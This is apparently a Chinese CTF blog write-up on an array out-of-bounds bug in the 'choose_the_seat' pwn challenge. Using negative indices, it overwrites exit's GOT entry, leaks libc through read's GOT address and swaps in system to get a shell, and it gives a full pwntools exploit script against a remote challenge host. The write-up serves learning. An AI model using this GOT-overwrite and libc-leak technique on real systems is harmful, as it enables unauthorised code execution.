【PWN】数组溢出 越界读写

vstral Lv1

一、作用

数组越界读写是一类较为常见的漏洞,造成的原因在于对数组

二、例题分析

choose_the_seat

程序仅仅检查了v0小于9,但是并没有检查输入值v0的正负

seats变量的位置是在bss区,我们可以通过改写got表来劫持控制流

第一次执行main函数

因为vuln函数结尾有一个exit函数,所以可以通过改写exit的got表来使得重复执行main函数来实现多次改写控制,通过计算位置(0x404040 - 0x4040A0) / 16= -96 / 16 = -6

所以可以通过第一次输入-6来控制read函数往exit的got表位置写入main函数的地址。

1
2
3
4
#第一次执行main
io.recvuntil(b'choose one.\n')
io.sendline(b'-6') #覆盖exitGOT表为main函数使得能够重复执行
io.sendline(p64(0x4012d1))

第二次执行main函数

第二次运行时候通过与第一次相似的计算可以将seat的地址指向read函数的got地址,然后puts函数就会输出read的地址,接收输出地址即可

1
2
3
4
5
6
7
8
9
10
11
12
13
#第二次执行main
io.recvuntil(b'choose one.\n')
io.sendline(b'-7') #泄露read的got表地址
io.recvuntil(b'name')
io.send(b'\xc0') #不能改变read的got地址
io.recvuntil(b'name is ')
read_got = u64(io.recv(6).ljust(8,b'\x00'))
print("read got >>>> " + hex(read_got)) #输出read got地址

#计算system binsh地址
libcbase = read_got - libc.symbols['read']
system = libcbase + libc.symbols['system']
print("libcbase >>>> " + hex(libcbase))

第三次执行main函数

将binsh写入并且改写puts地址为system函数获得shell

1
2
3
4
5
6
7
#第三次执行main
io.recvuntil(b'choose one.\n')
io.sendline(b'-9') #覆盖
io.recvuntil(b'name')
io.sendline(b'/bin/sh\x00' + p64(system))
io.interactive()

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *

file = './vuln'
#io = process(file)
io = remote('node5.anna.nssctf.cn',23608)
elf = ELF(file)
context.log_level = 'debug'
libc = ELF('./libc-2.31.so')

#第一次执行main
io.recvuntil(b'choose one.\n')
io.sendline(b'-6') #覆盖exitGOT表为main函数使得能够重复执行
io.sendline(p64(0x4012d1))

#第二次执行main
io.recvuntil(b'choose one.\n')
io.sendline(b'-7') #泄露read的got表地址
io.recvuntil(b'name')
io.send(b'\xc0')
io.recvuntil(b'name is ')
read_got = u64(io.recv(6).ljust(8,b'\x00'))
print("read got >>>> " + hex(read_got)) #输出read got地址

#计算system binsh地址
libcbase = read_got - libc.symbols['read']
system = libcbase + libc.symbols['system']
print("libcbase >>>> " + hex(libcbase))

#第三次执行main
io.recvuntil(b'choose one.\n')
io.sendline(b'-9') #覆盖
io.recvuntil(b'name')
io.sendline(b'/bin/sh\x00' + p64(system))
io.interactive()

在这道题过程中一直出了一个问题,一直打不通,经过了很长时间的检查才发现是(io.send(b’\xc0’))这一步一开始写的sendline就会导致多发送一个\n导致read的GOT表被改写,从而导致libcbase计算错误,确实是不细心了

  • 标题: 【PWN】数组溢出 越界读写
  • 作者: vstral
  • 创建于 : 2025-03-18 20:23:46
  • 更新于 : 2025-03-19 17:12:26
  • 链接: https://www.vstral.cn/2025/03/18/【PWN】数组溢出-越界读写/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。